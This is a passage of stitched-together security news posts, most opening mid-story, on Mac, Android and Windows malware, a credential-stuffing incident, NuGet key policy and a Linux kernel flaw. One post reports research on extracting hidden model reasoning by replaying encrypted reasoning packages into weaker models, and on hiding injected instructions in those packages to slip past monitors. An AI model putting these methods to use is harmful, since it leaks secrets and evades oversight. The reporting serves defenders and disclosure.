The malware can steal Mac passwords, browser data, Keychain information, cryptocurrency wallet details, Git settings, and sensitive files.

The latest campaign also uses a more advanced delivery method, making the malware harder to analyze and remove.

Fake Wavel Wallet Delivers the Malware

The attack starts with a fake website pretending to offer a cryptocurrency wallet called Wavel.

When users click “Download for macOS,” they receive a malicious disk image containing a compiled AppleScript file with a .scpt extension.

The file uses embedded JXA code to launch a shell command. Instead of keeping the entire malware directly inside the script, the attacker uses an encoded Base64 payload that is decoded and passed to /bin/zsh.

The next stage downloads a Mach-O utility called pkgunpack. It supports both Apple Silicon and Intel Macs and uses encryption techniques including X25519, SHA-256, and AES-256-GCM to unlock the next-stage payload.

A fresh key pair is generated for every infection, while the attacker’s server provides the key needed to decrypt the payload. This means the encrypted payload cannot simply be recovered through static analysis.

PamStealer Adds Multiple Persistence Methods

After decryption, the malware installs a fake Wavel.app inside:

~/Library/Application Support/System/Finder.app

It then creates a LaunchAgent called:

com.apple.finder.agent

This allows the malware to start when the user logs in, restart after a crash, and run repeatedly.

PamStealer also uses additional methods to survive removal attempts, including changes to:

• ~/.zshrc
• Global Git hooks
• Local repair scripts
• LaunchAgent configuration

The malware also attempts to hide background-item notifications while setting up persistence.

This layered approach means removing one malicious component may not be enough to completely remove the infection.

Malware Steals Passwords and Browser Data

The main stealer, identified as MacClient, displays a fake macOS password request followed by a misleading damaged-application warning.

The entered password is checked locally using macOS authentication mechanisms before being sent to the attackers.

PamStealer also targets data from 17 different browsers, including Chrome, Edge, Brave, Opera, Firefox, Arc, Zen, Waterfox, LibreWolf, Yandex Browser, and CocCoc.

The malware can also look for:

• Keychain information
• Cryptocurrency wallet data
• Browser extensions
• Shell history
• Git configuration
• Login Keychain data
• System information
• The macOS account photo

The stolen information is compressed into a ZIP archive and uploaded to attacker-controlled infrastructure.

How to Stay Protected

Organizations should look for suspicious Finder.app files, unexpected com.apple.finder.agent LaunchAgents, unusual Git hooks, and unexpected .zshrc changes.

Security teams can also block the domains associated with the campaign and investigate suspicious network traffic containing the identified upload header.

For Mac users, the safest approach is to download cryptocurrency wallet applications only from verified vendor websites and avoid opening unexpected .scpt files, especially when they arrive inside disk images.

A fake wallet application can look legitimate while quietly giving attackers access to highly sensitive information.

The post Fake Crypto Wallet Spreads PamStealer on Mac appeared first on First Hackers News.

The activity was detected on July 28, 2026, and ASOS confirmed the incident the following day. The company launched an investigation and found that an unauthorized party may have used previously exposed usernames and passwords to access customer accounts.

The incident appears to involve credential stuffing, where attackers test stolen login details from other websites against new services. This type of attack often succeeds when people reuse the same password across multiple accounts.

Customer Accounts Were Accessed

According to ASOS, the information that may have been accessed varies by account. It could include names, email addresses, delivery or billing addresses, phone numbers, dates of birth, and information connected to social media accounts.

Some payment information may also have been visible, including the cardholder’s name, last four digits of the card, and expiration date.

ASOS said there is no indication that full card numbers, CVV codes, or ASOS account passwords were exposed.

The company moved quickly to contain the incident. On July 29, it blocked access to affected accounts and required customers to reset their passwords. Customers were notified by email on July 30.

ASOS also found suspicious transactions on a small number of accounts. The company said its security systems or fraud team blocked or canceled those transactions, and no further unauthorized activity was identified after containment.

Password Reuse Remains a Major Risk

The incident highlights how attackers can take over accounts even when a company itself has not suffered a direct password database breach.

When credentials from an unrelated data breach are reused on another website, attackers can try those same combinations automatically. A successful login can then expose personal information or potentially lead to fraudulent purchases.

Customers affected by the incident should:

• Create a new, unique ASOS password
• Change the same password on other websites where it was reused
• Enable multi-factor authentication whenever available
• Review bank and payment accounts for unusual activity

Users should pay particular attention to their email, banking, payment, and social media accounts, as these can provide attackers with access to additional services.

Customers who are concerned about possible identity misuse can also review their credit reports and consider additional protections such as a fraud alert or credit freeze.

The ASOS incident is another reminder that password reuse can turn an old data breach into a new account takeover. Using unique passwords and multi-factor authentication can significantly reduce the risk of attackers successfully accessing multiple accounts

The post Hackers Target ASOS Accounts Using Stolen Login Credentials appeared first on First Hackers News.

Security researchers at Zimperium identified the updated threat, known as ToxicPanda 2.0, which has significantly expanded its targeting and remote-control capabilities.

The malware reportedly includes 167 remote commands and can target more than 140 banking and cryptocurrency applications for PIN theft. Its fake login screens can also imitate 349 financial institutions across 16 countries.

How ToxicPanda 2.0 Reaches Android Devices

The attack begins with a malicious application hosted through cloud infrastructure. Victims are encouraged to install the application through a fake installation process designed to appear legitimate.

Once installed, the dropper requests sensitive permissions and prepares the hidden malware payload.

The malware can then collect information about applications installed on the device and communicate with its command-and-control infrastructure.

Fake Banking Screens Steal PINs

One of ToxicPanda’s main capabilities is its ability to create convincing overlays on top of legitimate banking applications.

When a targeted banking app is opened, the malware can display a fake login or payment screen that looks similar to the real application.

It can also place an invisible layer over banking keypads to capture the user’s taps.

Attackers can remotely change the applications and keywords they want to target, allowing them to adjust campaigns without distributing a completely new malware package.

Wireless Debugging Adds More Risk

One of the more concerning capabilities in ToxicPanda 2.0 is its abuse of Android Wireless Debugging.

The malware can automate interactions with the device to enable developer settings, activate Wireless Debugging, complete the pairing process, and obtain the temporary pairing code.

After connecting to the local Android Debug Bridge (ADB) service, the malware can obtain shell-level access.

This gives attackers additional capabilities to run commands, modify settings, and attempt to weaken Android security restrictions.

Fake Lock Screens Can Steal Device Credentials

ToxicPanda is not limited to banking credentials.

The malware can create fake Android lock screens designed to capture the victim’s device PIN, password, or unlock pattern.

Some versions can also display fake system-update screens. These deceptive pages can hide malicious activity while the malware continues operating in the background.

More Commands, More Control

The malware’s growing command set gives attackers several ways to maintain control over compromised devices.

Capabilities include attempting to obtain Device Administrator privileges, changing lock-screen settings, displaying attacker-controlled web content, and modifying device behavior.

ToxicPanda can also use Accessibility Services to interact with manufacturer-specific settings.

This can help it adjust battery or auto-start controls so that Android is less likely to stop its malicious background activity.

How to Stay Protected

Android users should be particularly careful when installing applications outside official app stores.

Avoid installing APK files received through unexpected links, messages, or websites. Be especially cautious if an unfamiliar application asks for powerful permissions such as:

• Accessibility Services
• Device Administrator
• VPN access
• Developer Options
• Wireless Debugging

These permissions can provide applications with far more control than they normally need.

What Security Teams Should Watch For

Organizations should monitor Android devices for unusual Accessibility Service activity, unexpected changes to developer settings, suspicious screen overlays, and unfamiliar ADB pairing events.

Users should also regularly review installed applications and enabled accessibility services and remove anything they do not recognize.

The Bigger Picture

ToxicPanda 2.0 shows how Android banking malware is moving beyond simple credential theft.

Modern mobile threats are combining social engineering, fake interfaces, accessibility abuse, remote commands, and device-level control to turn a compromised phone into a powerful tool for attackers.

For mobile users, the safest approach is simple: install apps only from trusted sources and never grant powerful permissions to an application you do not fully trust.

The post ToxicPanda Android Malware Puts Banking Data at Risk appeared first on First Hackers News.

The feature is designed to address the growing use of more convincing scams, including messages created with the help of AI. Instead of sending messages to WhatsApp’s servers for analysis, Scam Alert uses a small machine learning model that runs directly on the user’s device.

Once enabled, the model examines messages from people who are not saved as contacts. It looks for patterns in the conversation and language that may indicate common scam techniques.

The message itself stays on the device during this process. WhatsApp says it does not automatically send messages to Meta, WhatsApp, or another third party for review. Users decide what happens next.

If a message appears suspicious, WhatsApp can display a warning to the recipient. The user can then choose to block the sender, report the conversation, continue chatting, or mark the conversation as trusted if they believe the warning is incorrect.

Privacy Is a Key Part of Scam Alert

WhatsApp says the system was designed around three main ideas: local processing, no automatic reporting, and user control.

The company still needs some information to understand how well the feature performs. Instead of collecting individual messages, WhatsApp uses a privacy-focused analytics system that gathers limited information such as how many warnings were displayed and what actions users took.

This information is processed using Trusted Execution Environments (TEEs) and additional privacy techniques before aggregated statistics are sent to Meta.

Protecting the AI Model

Another concern is making sure attackers cannot secretly deliver a modified version of the scam-detection model to specific users.

WhatsApp says each model version is published with a SHA-256 hash in an append-only transparency system before it is deployed. This creates a record that can be used to verify that the model has not been secretly changed.

Model downloads also use an Oblivious HTTP (OHTTP) relay, which helps prevent the server from directly linking a model request to a user’s IP address.

WhatsApp says even the process used to assign users to different model versions for testing happens locally on their devices rather than being controlled by the server.

Additional Security Controls

The company says Scam Alert was designed to protect against several types of threats, including outside attackers, malicious employees, and compromised third-party suppliers.

Its security measures include isolated confidential computing environments, encrypted memory, and additional protections around the systems running the analytics infrastructure.

Users can also check information about the feature through WhatsApp’s transparency controls. The in-app activity section shows details such as which messages were analyzed and which model version was used.

External Researchers Can Test the System

WhatsApp is also expanding its Bug Bounty program to cover parts of the Scam Alert technology, including the machine learning models and analytics infrastructure.

This gives security researchers an opportunity to look for weaknesses and verify whether the system is being used only for its stated purpose of detecting scams.

Limited Beta Release

Scam Alert is initially being introduced through a limited beta rollout. WhatsApp says it plans to continue testing the technology with security researchers before making it more widely available.

The company also plans to publish a technical white paper explaining how the system works in greater detail.

The approach reflects a growing focus on building AI-powered security features without giving up user privacy. Instead of sending private conversations to the cloud for analysis, WhatsApp is attempting to combine on-device AI, confidential computing, and transparency mechanisms to detect scams while keeping message content protected.

The post WhatsApp Scam Alert: New Protection Against Hackers appeared first on First Hackers News.

The research involves OpenAI, Anthropic, and Google, and shows that encrypted reasoning data produced by powerful models could potentially be reused with less restricted models from the same provider. In some cases, this could allow the hidden reasoning to be reconstructed in readable text.

Researchers from the ELLIS Institute Tübingen, Max Planck Institute, MATS Research, and Snyk investigated the issue across the Claude, GPT, and Gemini ecosystems. The attack does not require special privileges and can be carried out through normal API access.

How the Attack Works

Modern reasoning models perform additional processing before producing their final answers. Much of this internal reasoning is intentionally hidden from users because it may contain sensitive information, system instructions, safety-related decisions, or proprietary model behavior.

Instead of keeping all conversation state on the server, some AI APIs return encrypted data that can be sent back with later requests. This allows the model to continue a conversation without storing every detail on the provider’s side.

Researchers found a potential weakness in how these encrypted reasoning packages were protected.

The data was not sufficiently tied to the specific model, user, or session that originally created it. This meant a reasoning package generated by a more heavily protected model could potentially be submitted to another model within the same provider’s ecosystem.

Using Smaller Models to Reveal Hidden Data

The researchers demonstrated an attack technique in which a reasoning package from a powerful model was passed to a less restricted model.

The smaller model could then be prompted to reproduce information contained inside the encrypted package.

This creates an unusual security problem. The attacker does not necessarily need to break the encryption directly. Instead, another model can potentially act as an intermediary that helps expose the information.

The research team reported similar behavior across the GPT, Claude, and Gemini model families.

Researchers also compared the recovered reasoning data with usage information provided through the APIs to determine whether the extracted material corresponded to the original reasoning process.

Hidden Reasoning Can Contain Sensitive Information

The concern goes beyond exposing how an AI model thinks.

Researchers analyzed thousands of publicly available AI agent transcripts collected from sources such as GitHub and Hugging Face. Their analysis identified hundreds of pieces of potentially sensitive information inside recovered reasoning data.

This included:

• 367 pieces of personally identifiable information
• 182 hardcoded credentials
• 62 API keys
• 33 passwords
• 30 personal email addresses

The problem is that some of this information may never appear in the model’s visible response.

A developer could therefore publish an AI session or agent log believing it contains no secrets, while sensitive information remains hidden inside associated reasoning data.

A New Risk for AI Agents

The research also highlights a potential problem for autonomous AI systems.

If security monitoring only examines the visible conversation between a user and an AI agent, malicious instructions hidden inside reasoning-related data could potentially escape detection.

An attacker could attempt to place instructions inside an encrypted reasoning package and have those instructions processed later by an AI agent.

This creates a potential indirect prompt injection scenario where the malicious content is not obvious in the conversation that security tools are monitoring.

For organizations using AI agents to interact with cloud services, databases, code repositories, or business applications, this type of hidden input deserves particular attention.

Which AI Platforms Were Studied?

The research covered major model ecosystems from three providers:

The exact attack paths and model combinations varied between providers, but the broader issue was similar: reasoning data was not sufficiently isolated from other models within the same ecosystem.

Providers Have Already Responded

The researchers reported the findings to the affected companies through responsible disclosure.

OpenAI, Anthropic, and Google acknowledged the research and introduced server-side protections. According to the researchers, the original proof-of-concept attacks could no longer be reproduced against the updated API implementations.

That reduces the immediate risk from the specific attack demonstrated in the research, but the findings highlight a larger issue for the AI industry.

As AI systems become more complex, security controls need to protect not only visible prompts and responses but also the internal data exchanged between models and supporting services.

How Organizations Can Reduce the Risk

AI providers and companies building applications around LLMs can take several steps to protect sensitive reasoning-related data.

Bind encrypted data to its source. Reasoning packages should be cryptographically linked to the specific model, user, and session that created them.

Separate model tiers. A payload generated by one model should not automatically be accepted by another model unless that behavior is explicitly intended and securely controlled.

Rotate older cryptographic keys. Where historical encrypted data may have been exposed, organizations should consider key rotation and invalidation strategies.

Protect AI logs. Developers should treat reasoning-related payloads, signatures, and encrypted model data as sensitive information. These fields should be removed or sanitized before logs are shared publicly.

Why This Matters

The research shows that protecting AI systems is not only about securing the model itself.

Modern LLM platforms involve APIs, model tiers, encrypted payloads, agent frameworks, logging systems, and multiple supporting services. A weakness in the connection between these components can create a security problem even when the underlying model remains protected.

For organizations adopting AI agents and reasoning models, the lesson is clear: hidden data should be treated as sensitive data, even when users cannot see it.

The post LLM API Bugs Leak Hidden Reasoning Traces appeared first on First Hackers News.

The attackers are primarily targeting users through Discord servers and gaming forums, where fake cheat downloads are shared as legitimate software. By taking advantage of the popularity of Roblox cheats, the campaign aims to steal sensitive information and gain complete control of victims’ computers.

Researchers say the operation continues to evolve, with new infrastructure and malware capabilities being added regularly.

How the Attack Works

The infection starts when users download what appears to be a genuine Xeno Roblox cheat.

The downloaded archive looks convincing, containing realistic folder structures and harmless-looking files that make it appear authentic.

Instead of launching a game cheat, the installer quietly begins executing malicious code in the background.

If Java is not already installed on the system, the malware automatically installs a local Java Runtime Environment without the user’s knowledge. This prepares the system for the next stage of the attack.

Multi-Stage Malware Deployment

After the initial infection, the malware loads a heavily obfuscated Java application disguised as a normal Windows executable.

Before continuing, it performs several checks to determine whether it is running inside a virtual machine, sandbox, or debugging environment. These techniques help attackers avoid detection by security researchers.

‍Follow Us on:Linkedin, Instagram, Facebook to get the latest security news!

The malware then collects basic system information and securely communicates with its command-and-control (C2) server to register the infected device and download additional malicious components.

Java RAT Gains Full System Access

The final payload is a Java Remote Access Trojan (RAT) hidden inside folders designed to resemble legitimate Microsoft GameDVR files associated with the Xbox Game Bar.

To remain active after a reboot, the malware creates registry Run entries using names that appear to be legitimate Windows components. It also attempts to obtain elevated privileges, allowing it to perform more advanced malicious activities.

Once established, the RAT connects to attacker-controlled servers and waits for further instructions.

What Information Does the Malware Target?

Unlike basic information-stealing malware, this campaign combines credential theft with powerful remote surveillance features.

The malware is capable of:

• Stealing saved passwords and browser cookies.
• Collecting credentials from Chrome, Edge, Opera, and Brave.
• Hijacking Discord, Roblox, and Minecraft accounts.
• Targeting cryptocurrency wallets, including Exodus.
• Capturing keystrokes and mouse activity.
• Taking screenshots.
• Streaming the victim’s desktop.
• Accessing webcam feeds.
• Uploading, downloading, and modifying files.
• Running PowerShell commands.
• Providing attackers with remote shell access.

These capabilities allow attackers to fully control an infected computer while collecting valuable personal and financial information.

Why Gamers Are Being Targeted

Researchers believe the campaign specifically targets Roblox players because many users search online for “free” or “undetected” cheat tools.

Young gamers are especially at risk, as they may download unofficial software from Discord communities or third-party websites without realizing it contains malware.

Since many gaming PCs are shared with family members, a successful infection could also expose banking information, personal documents, saved passwords, and private communications stored on the same device.

Malware Campaign Continues to Evolve

Security researchers, including Bitdefender and previous investigations by ThreatLocker, have linked the campaign to malware previously tracked as Powercat.

The operation has reportedly been active since early 2026 and continues to expand through new command-and-control servers and updated malware modules. The attackers also use encrypted communications and in-memory payload execution, making the malware more difficult to detect and remove.

How to Stay Protected

To reduce the risk of infection, users should follow these security best practices:

• Avoid downloading unofficial Roblox cheats or game modification tools.
• Only install software from trusted sources.
• Keep antivirus and security software up to date.
• Enable multi-factor authentication (MFA) on gaming and email accounts.
• Regularly update Windows and installed applications.
• Be cautious of download links shared through Discord servers or online gaming forums.

As cybercriminals increasingly target gaming communities, staying away from unofficial cheat software remains one of the most effective ways to avoid malware infections and protect personal information.

IOCs

The post Fake Roblox Hacks Target Discord and Gaming Credentials appeared first on First Hackers News.

Under the new policy, API keys created on or after August 17, 2026, will have a maximum lifetime of 30 days. Developers will no longer be able to create API keys that remain valid for 365 days. In addition, all API keys generated before August 17, 2026, will automatically expire on November 1, 2026.

The move is part of Microsoft’s broader effort to strengthen package security and encourage developers to adopt more secure authentication methods.

Why Is Microsoft Reducing API Key Lifetimes?

NuGet API keys are used by developers to publish packages to NuGet.org. These keys often function like passwords and are commonly stored in CI/CD pipelines, build servers, repository secrets, deployment environments, and other automation platforms.

Although this makes automated package publishing easier, it also creates an attractive target for cybercriminals. If attackers gain access to a long-lived API key, they could publish malicious packages under the name of a trusted project without immediately being detected.

By limiting API keys to just 30 days, Microsoft aims to significantly reduce the period during which a stolen credential can be exploited.

The Growing Risk of Supply Chain Attacks

Software supply chain attacks continue to rise as attackers increasingly target trusted software repositories instead of individual users.

Rather than directly attacking organizations, threat actors compromise developer credentials or package publishing accounts to insert malicious code into legitimate software packages. Once published, these compromised packages may be downloaded by thousands of developers and organizations, allowing malware to spread rapidly across multiple environments.

Microsoft explained that reducing the lifespan of publishing credentials is an important step toward minimizing this risk.

Recent Incidents Highlight the Threat

Microsoft referenced recent software package compromise incidents that demonstrate the dangers of stolen publishing credentials.

One notable example involved the NX Console package in the npm ecosystem. Attackers reportedly obtained valid publishing credentials and used them to release a malicious version of the package.

The compromised package was activated approximately 6,000 times within just 36 minutes before it was removed. This incident showed how quickly attackers can exploit trusted software repositories when publishing credentials fall into the wrong hands.

Events like these continue to reinforce the need for stronger authentication and shorter-lived credentials across software ecosystems.

Shorter API Keys Improve Security—but Don’t Eliminate the Risk

While reducing API key validity lowers the window of opportunity for attackers, Microsoft emphasized that shorter expiration periods alone cannot completely prevent credential theft.

API keys can still be exposed through several common scenarios, including:

• Source code repositories
• CI/CD pipeline logs
• Insecure secret storage
• Build servers
• Compromised developer workstations
• Accidentally shared configuration files

If an attacker obtains an active API key, they may still be able to publish malicious packages before the credential expires.

For this reason, Microsoft is encouraging developers to move beyond traditional API keys altogether.

Microsoft Recommends NuGet Trusted Publishing

To provide a more secure publishing process, Microsoft recommends using NuGet Trusted Publishing, which became available in September 2025.

Trusted Publishing replaces long-lived API keys with OpenID Connect (OIDC) authentication, allowing CI/CD platforms to securely verify their identity without permanently storing publishing credentials.

Instead of relying on reusable secrets, supported CI/CD services generate a temporary identity token during the publishing workflow.

NuGet.org validates this token against security policies configured by the package owner before issuing a temporary publishing credential that is valid only for that specific publishing operation.

This approach greatly reduces the chances of stolen credentials being reused by attackers.

How Trusted Publishing Works

The Trusted Publishing workflow is designed to eliminate long-lived secrets from automated publishing environments.

The process works as follows:

1. A supported CI/CD platform generates a short-lived OIDC identity token.
2. NuGet.org verifies the identity of the workflow.
3. Repository, workflow, and optional environment details are validated against the package owner’s security policy.
4. NuGet.org issues a temporary API key for that publishing session.
5. Once the publishing job is complete, the temporary credential expires automatically.

Because no reusable API key is stored in repositories or CI/CD secrets, attackers have far fewer opportunities to steal publishing credentials.

Benefits of Trusted Publishing

Microsoft highlighted several advantages of adopting Trusted Publishing:

• Eliminates long-lived API keys.
• Reduces the risk of credential theft.
• Removes the need to store publishing secrets in repositories.
• Simplifies credential rotation.
• Improves software supply chain security.
• Limits the impact of compromised developer environments.
• Strengthens automated package publishing workflows.

GitHub Actions and GitLab users are encouraged to migrate to Trusted Publishing before the August 2026 deadline.

What Developers Should Do Before the Deadline

Organizations that continue using traditional NuGet API keys should begin preparing now.

Microsoft recommends the following actions:

• Review all NuGet publishing workflows.
• Identify API keys created before August 17, 2026.
• Update automation to support 30-day API key rotation.
• Restrict API keys to the minimum required package scope.
• Apply the least-privilege principle for publishing permissions.
• Avoid storing API keys in source code, configuration files, or logs.
• Immediately revoke any API key that may have been exposed.
• Begin migrating CI/CD pipelines to Trusted Publishing wherever possible.

Taking these steps can help reduce the risk of malicious package publishing while ensuring a smooth transition to the new policy.

Looking Ahead

Microsoft indicated that shortening API key lifetimes is only one phase of its long-term software supply chain security strategy. As support for Trusted Publishing expands across additional CI/CD platforms, the company may further reduce API key validity periods in the future.

Developers and organizations are encouraged to adopt modern authentication methods such as OpenID Connect to strengthen package security, reduce reliance on reusable secrets, and better protect the software supply chain against evolving cyber threats.

The post Microsoft Takes Action to Strengthen NuGet Supply Chain Security appeared first on First Hackers News.

The malware also abuses WeChat by injecting malicious DLLs into the application, allowing attackers to maintain long-term access, monitor activity, and potentially steal sensitive information.

How the Attack Works

AtlasRAT begins with a Delphi executable disguised as a legitimate AGE Flash Player installer (FlashPlay.exe). While it appears harmless, the installer secretly launches the malware’s multi-stage infection process.

The attack unfolds in four stages:

• Stage 1: Decrypts and loads the next payload directly into memory without creating files on disk.
• Stage 2: Rebuilds encrypted shellcode using multiple encryption techniques, including Base64, XOR, and AES-256-CBC.
• Stage 3: Connects to a hardcoded command-and-control (C2) server and manually loads the next component into memory.
• Stage 4: Executes MainDll.dll, the primary AtlasRAT payload that provides attackers with remote access to the infected system.

By keeping every stage in memory, AtlasRAT significantly reduces forensic evidence and avoids many file-based security controls.

Advanced Remote Access Capabilities

Once active, AtlasRAT establishes an encrypted communication channel using TLS combined with ChaCha20 encryption. The malware even uses a self-signed certificate that mimics Microsoft to help disguise its network traffic.

The RAT allows attackers to:

• Execute additional plugins remotely
• Download and run malicious files
• View and terminate running processes
• Perform offline keylogging
• Continue collecting data even when the system is disconnected from the internet

‍Follow Us on:Linkedin, Instagram, Facebook to get the latest security news!

WeChat DLL Injection

One of AtlasRAT’s most notable capabilities is its ability to inject malicious DLLs into WeChat.exe using LoadLibraryW and CreateRemoteThread.

This enables attackers to:

• Hide inside a trusted application
• Maintain long-term persistence
• Monitor user activity
• Potentially steal sensitive communications

Using a legitimate messaging application also helps the malware blend into normal system activity.

Persistence Techniques

AtlasRAT includes a dedicated persistence module called persistence86.dll, which helps the malware survive system reboots.

Its persistence techniques include:

• Modifying the Windows BITS database
• Abusing NTUSER.MAN for logon persistence
• Bypassing User Account Control (UAC)
• Using registry hijacking to maintain access

These methods make removal more difficult and help attackers retain control of compromised devices.

Threat Intelligence Findings

Researchers identified 146 unique AtlasRAT samples during a 180-day VirusTotal analysis. Multiple malware variants, versioned builds, and development artifacts suggest AtlasRAT is part of a continuously evolving malware framework rather than a single campaign.

Current public analysis has been shared by security researchers from ASEC, Proofpoint, Hexastrike, and other threat intelligence teams.

Proofpoint attributes AtlasRAT activity to TA4922, a Chinese-speaking cybercrime group known for using HR and finance-themed phishing lures. Other researchers have observed similarities with campaigns linked to the Silver Fox threat cluster, although there is currently no conclusive evidence connecting the two groups.

Detection Opportunities

Security teams should monitor for indicators such as:

• Unusual TLS connections using suspicious self-signed Microsoft-themed certificates
• Remote DLL injection into WeChat.exe
• CreateRemoteThread activity originating from untrusted processes
• Unexpected modifications to the BITS database or NTUSER.MAN
• Suspicious files such as offline.ini, AtlasPro.ini, MODIf.html, and Wxfun.dll

These behaviors may indicate an active AtlasRAT compromise.

AtlasRAT is more than a traditional remote access trojan. Its modular architecture, four-stage in-memory execution, encrypted communications, DLL injection, and advanced persistence mechanisms make it a highly capable threat designed to evade conventional security defenses.

As the malware continues to evolve, organizations should strengthen endpoint monitoring, memory-based threat detection, and behavioral analytics to identify attacks that bypass traditional file-based security solutions.

IOCs

The post New AtlasRAT Attack Uses 4-Stage In-Memory Loader to Target WeChat appeared first on First Hackers News.

CastleLoader Continues to Evolve

CastleLoader has been active for some time as a malware loader that delivers additional malicious payloads onto compromised systems. Previous campaigns primarily distributed information stealers and remote access tools. However, recent investigations reveal that threat actors have significantly upgraded the framework by integrating NeedleStealer into their attack chain.

Researchers also observed the first use of Rust and Golang within these campaigns. Combined with in-memory execution, these technologies help attackers avoid traditional security detection while improving the malware’s flexibility.

NeedleStealer Focuses on Financial Theft

One of the most concerning additions is a Rust-based component that impersonates popular cryptocurrency wallet applications. Victims are presented with convincing recovery phrase prompts that appear legitimate. If users enter their wallet seed phrase, attackers can gain complete access to their cryptocurrency holdings.

Another component, developed in Golang, installs malicious browser extensions that appear to be legitimate software. These extensions allow attackers to hijack browser sessions and steal credentials without requiring victims to repeatedly enter their passwords.

Multiple Campaigns Using Similar Techniques

Researchers identified three related campaigns—Urutyka, Garrigin, and Noidret—that all rely on CastleLoader as the initial infection method. Although each campaign introduces slight variations, they follow a similar multi-stage approach to deliver malware while making forensic analysis more difficult.

The attackers also continue to use digitally signed installers and carefully managed command-and-control infrastructure, increasing the likelihood that the malware will bypass security defenses.

Why This Matters

The latest CastleLoader campaigns demonstrate a clear shift toward targeting high-value financial information and online accounts. Instead of simply stealing passwords, attackers are now attempting to compromise cryptocurrency wallets and active browser sessions, allowing them to bypass authentication and gain access to valuable assets.

Organizations should remain alert for suspicious PowerShell activity, unexpected browser extensions, unusual outbound network connections, and software installers from untrusted sources. Behavioral monitoring and modern endpoint protection can also help detect malware that executes directly in memory.

Conclusion

The integration of NeedleStealer marks another step in the evolution of CastleLoader. By combining multi-stage malware delivery, Rust and Golang payloads, browser session hijacking, and cryptocurrency theft, threat actors are building more sophisticated attack campaigns. As these techniques continue to evolve, organizations should strengthen endpoint security, monitor suspicious activity, and educate users about the risks of downloading software from unverified sources.

The post NeedleStealer Targets Crypto Wallets and Browsers appeared first on First Hackers News.

The vulnerability affects the copy-on-write (CoW) feature of XFS. It is caused by a race condition that occurs when two O_DIRECT write operations access the same reflink-enabled file at nearly the same time.

How the Vulnerability Works

Normally, when a shared file is modified, XFS creates a new private copy of the data before writing changes. However, during this process, the kernel briefly releases an internal lock while waiting for transaction log space.

If another write request arrives during this short window, it can change the file mapping before the first operation finishes. As a result, the first write uses outdated information and writes data directly to the original disk block instead of a new one.

Since O_DIRECT bypasses the page cache, the corrupted data is written straight to disk, allowing attackers to overwrite protected system files.

Why It Is Dangerous

Qualys demonstrated that a normal local user could exploit the flaw on a default RHEL 10.2 system and remove the root account’s password protection within seconds. After the attack, the system granted passwordless root access.

The attack is difficult to detect because:

• No kernel log entries are generated.
• The changes remain after a reboot.
• Even systems protected by SELinux are vulnerable.
• Existing Linux security protections do not block the attack.

Researchers believe the vulnerability has existed since Linux kernel version 4.11, released in 2017, potentially affecting more than 16 million systems worldwide.

Who Is Affected?

A system is vulnerable if it has:

• Linux kernel 4.11 or later without the security patch.
• An XFS filesystem with reflink=1 enabled.
• A directory writable by an unprivileged user.
• A valuable target file such as a SUID binary or protected system file.

Confirmed affected distributions include:

• RHEL 8, 9 and 10
• CentOS Stream 8, 9 and 10
• Oracle Linux 8, 9 and 10
• Rocky Linux 8, 9 and 10
• AlmaLinux 8, 9 and 10
• CloudLinux 8, 9 and 10
• Amazon Linux 2 and Amazon Linux 2023
• Fedora Server 31 and later

Lower-risk distributions

• Debian
• Ubuntu
• SUSE

These distributions are mainly affected only if XFS with reflink support has been manually configured.

Existing Security Features Cannot Stop It

One of the biggest concerns is that common Linux security protections do not prevent this attack. Technologies such as SELinux, KASLR, SMEP, SMAP, kernel lockdown, and container isolation operate at different layers and cannot stop exploitation of this filesystem flaw.

At present, there is no temporary workaround that completely mitigates the vulnerability. Installing the security update is the only effective solution.

AI Helped Discover the Flaw

The vulnerability was identified through a collaboration between Qualys and Anthropic. Researchers used Anthropic’s Claude Mythos Preview AI model to search for race-condition vulnerabilities similar to the well-known Dirty COW bug.

After identifying the issue, Qualys engineers independently verified the findings, created a proof-of-concept, and responsibly disclosed the vulnerability to Linux maintainers.

Part of a Growing Trend

RefluXFS is one of several major Linux privilege escalation vulnerabilities disclosed during 2026. Other recent discoveries include:

• Copy Fail (CVE-2026-31431)
• Dirty Frag (CVE-2026-43284 and CVE-2026-43500)
• DirtyClone (CVE-2026-43503)

These vulnerabilities highlight a growing trend of attackers exploiting flaws that allow protected files or memory to be modified, ultimately leading to privilege escalation.

What Organizations Should Do

Organizations should patch affected systems as soon as possible, especially internet-facing servers, multi-tenant environments, and shared systems.

Security updates are already available for major enterprise Linux distributions, including RHEL, Oracle Linux, AlmaLinux, Rocky Linux, and Fedora. After installing the update, administrators should perform a full system reboot to ensure the patched kernel is running.

Since there is currently no reliable mitigation other than patching, keeping systems updated is the best defense against the RefluXFS vulnerability.

The post Critical RefluXFS Flaw Threatens Linux Systems appeared first on First Hackers News.